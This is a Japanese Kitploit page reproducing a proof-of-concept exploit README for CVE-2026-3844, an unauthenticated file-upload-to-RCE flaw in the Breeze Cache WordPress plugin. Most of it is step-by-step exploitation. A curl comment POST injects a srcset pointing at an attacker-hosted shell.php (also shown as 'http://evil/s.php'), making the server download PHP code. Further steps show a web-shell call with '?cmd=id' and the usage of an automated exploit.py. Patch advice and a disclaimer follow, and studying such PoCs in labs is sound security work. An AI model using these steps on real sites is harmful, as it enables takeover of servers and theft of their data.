Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-3844 — # CVE-2026-3844 の概念実証エクスプロイト Breeze Cache <= 2.4.4 における、認証不要の任意ファイルアップロードからリモートコード実行に至る脆弱性(CVE-2026-3844)の概念実証エクスプロイトです。Docker ラボと自動化されたエクスプロイトスクリプトが含まれています。 | Kitploit
ツール/GitHubGitHub/dinosn/cve-2026-3844
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubdinosn/cve-2026-3844

CVE-2026-3844

# CVE-2026-3844 の概念実証エクスプロイト Breeze Cache <= 2.4.4 における、認証不要の任意ファイルアップロードからリモートコード実行に至る脆弱性(CVE-2026-3844)の概念実証エクスプロイトです。Docker ラボと自動化されたエクスプロイトスクリプトが含まれています。

リポジトリを見る
514ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-3844 — Breeze Cache <= 2.4.4 認証なし任意ファイルアップロードによるRCE

概要

フィールド値
CVECVE-2026-3844
CVSS9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-434 — 危険なタイプのファイルの無制限アップロード
プラグインBreeze Cache by Cloudways
影響を受けるバージョン2.4.4 以下の全バージョン
修正バージョン2.4.5 (changeset 3511463)
インストール数400,000以上のアクティブなWordPressインストール
発見者Hung Nguyen (bashu)
公開日2026-04-23

脆弱性

inc/class-breeze-cache-cronjobs.php の fetch_gravatar_from_remote() 関数は、リモートURLをダウンロードし、URLの元のファイル名と拡張子を使用してウェブからアクセス可能なディレクトリに保存します。MIMEタイプの検証、拡張子のホワイトリスト、コンテンツの検査は一切行われません。

「Host Files Locally - Gravatars」設定が有効な場合、プラグインは breeze_replace_gravatar_image() を介してWordPressの get_avatar フィルターにフックします。この関数は正規表現を使用して、アバターHTMLの srcset および src 属性からURLを抽出します。攻撃者は、細工した著者名でコメントを投稿することで悪意のある srcset 属性を注入でき、プラグインが任意のPHPファイルをダウンロードしてキャッシュするように仕向けることができます。

脆弱なコード

Vulnerable code in fetch_gravatar_from_remote()

欠落しているもの:

  • ダウンロードしたコンテンツが画像であるかのチェック(MIME検証)がない
  • ファイル拡張子の制限がない(.php、.phtml、.phar すべて受け入れられる)
  • HTTPレスポンスのコンテンツタイプ検査がない
  • 保存先ディレクトリはウェブからアクセス可能で、PHPの実行を許可している

攻撃フロー

root@kitploit:~
攻撃者                          WordPress + Breeze 2.4.4
   |                                        |
   |  1. POST /wp-comments-post.php         |
   |     author=x srcset=http://evil/s.php  |
   |  ------------------------------------> |
   |                                        |  コメントが保存される
   |                                        |
   |  2. GET /?p=1                          |
   |  ------------------------------------> |
   |                                        |  get_avatar フィルターが発動
   |                                        |  breeze_replace_gravatar_image()
   |                                        |    srcset URL を正規表現で抽出
   |                                        |    fetch_gravatar_from_remote() を呼び出し
   |                                        |
   |            3. download_url()           |
   |            http://evil/s.php           |
   |         <----------------------------- |
   |         PHPファイルの内容               |
   |         -----------------------------> |
   |                                        |  保存先:
   |                                        |  wp-content/cache/breeze-extra/
   |                                        |    gravatars/s.php
   |                                        |
   |  4. GET /wp-content/cache/breeze-extra |
   |         /gravatars/s.php?cmd=id        |
   |  ------------------------------------> |
   |                                        |  PHP が www-data として実行
   |         uid=33(www-data)               |
   |  <------------------------------------ |

前提条件

  1. Breeze プラグイン バージョン <= 2.4.4 がインストールされ、有効化されていること
  2. 「Host Files Locally - Gravatars」 が有効であること(デフォルトではオフ、設定 > Breeze > 詳細設定)
  3. 少なくとも1つの投稿でWordPressのコメントが有効であること
  4. 攻撃者のペイロードサーバーがWordPressサーバーから到達可能であること

Docker ラボ環境構築

このPoCには、自己完結型のDocker環境が含まれています:

  • WordPress 6.5 + Breeze 2.4.4(脆弱なバージョン、グラバターのホスティング有効)
  • MariaDB 10.11
  • PoCペイロードをホストするPython HTTPサーバー

前提条件

  • Docker および Docker Compose
  • Python 3.8+ と requests(pip install requests)

1. ラボの起動

root@kitploit:~
cd docker/
docker compose up -d --build

WordPressの初期化に約30秒待ちます。確認:

root@kitploit:~
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# 期待値: Stable tag: 2.4.4

2. 前提条件の確認

Breeze version 2.4.4 confirmed

Comments open, gravatar hosting enabled

Dockerセットアップは自動的に以下を実行します:

  • 「Host Files Locally - Gravatars」を有効化(breeze-store-gravatars-locally: 1)
  • 投稿のコメントを有効化
  • コメントモデレーションを無効化(即時悪用のため)

悪用

手動手順

ステップ 1 — 悪意のあるコメントを投稿

root@kitploit:~
curl -X POST "http://localhost:8088/wp-comments-post.php" \
    -d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"

PAYLOAD_IP をペイロードコンテナのIPに置き換えます:

root@kitploit:~
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
    $(docker compose -f docker/docker-compose.yml ps -q payload)

期待されるレスポンス: 投稿ページへの HTTP 302 リダイレクト。

Malicious comment POST

ステップ 2 — アバターレンダリングのトリガー

投稿ページにアクセスしてWordPressにコメントのアバターをレンダリングさせ、Breezeの get_avatar フィルターを発動させてペイロードをダウンロードさせます:

root@kitploit:~
curl -s "http://localhost:8088/?p=1" > /dev/null

レンダリングされたHTMLには、Breezeが注入されたsrcsetを抽出し、ペイロードをキャッシュしたことが表示されます:

Avatar rendering triggers payload fetch

ステップ 3 — ディスク上のファイルを確認

PHPペイロードはそのまま書き込まれ、www-data が所有者となります:

shell.php on disk owned by www-data

ステップ 4 — RCEの確認

RCE confirmed — id, whoami, uname, /etc/passwd

自動化された悪用スクリプト

root@kitploit:~
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php

Automated exploit script output

スクリプトオプション

root@kitploit:~
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
                  [--timeout TIMEOUT] [--wait WAIT] [--check-only]

  -t, --target      WordPress ターゲットURL(必須)
  -p, --payload     アップロードするPHPペイロードのURL
  --post-id         コメントする特定の投稿ID
  --timeout         HTTPタイムアウト(秒)(デフォルト: 15)
  --wait            cronを待つ秒数(デフォルト: 12)
  --check-only      プラグインバージョンのみ確認し、悪用しない

後片付け

root@kitploit:~
cd docker/
docker compose down -v --remove-orphans

修正方法

  1. 更新: Breeze をバージョン 2.4.5 以降に更新する
  2. 回避策(パッチ適用できない場合): Breeze設定で「Host Files Locally - Gravatars」を無効化する
  3. 強化策: wp-content/cache/breeze-extra/gravatars/ の .htaccess に以下を追加:
    root@kitploit:~
    <FilesMatch "\.ph(p|tml|ar)$">
        Require all denied
    </FilesMatch>
    

ファイル構成

root@kitploit:~
cve-2026-3844/
  README.md              # このファイル
  docker/
    Dockerfile           # WordPress + Breeze 2.4.4 イメージ
    docker-compose.yml   # 完全なラボ(WP + MariaDB + ペイロードサーバー)
    entrypoint-custom.sh # 脆弱な設定でWPを自動設定
  poc/
    exploit.py           # 自動化されたPoC悪用スクリプト
    validate.sh          # エンドツーエンドのDocker検証ハーネス
  payloads/
    shell.php            # 無害なPoCペイロード(echo + id)
  screenshots/           # SVGターミナルスクリーンショット(Charm freeze)
  validation/            # RAPTOR悪用可能性検証出力

参考情報

  • NVD — CVE-2026-3844
  • Wordfence Advisory
  • WordPress Patch Changeset 3511463
  • Vulnerable Source (2.4.1 tag)

免責事項

この概念実証は、認可されたセキュリティテスト、教育、および防御的な研究のみを目的として提供されています。所有していない、または明示的なテスト許可がないシステムに対する不正使用は違法です。

ツールをダウンロード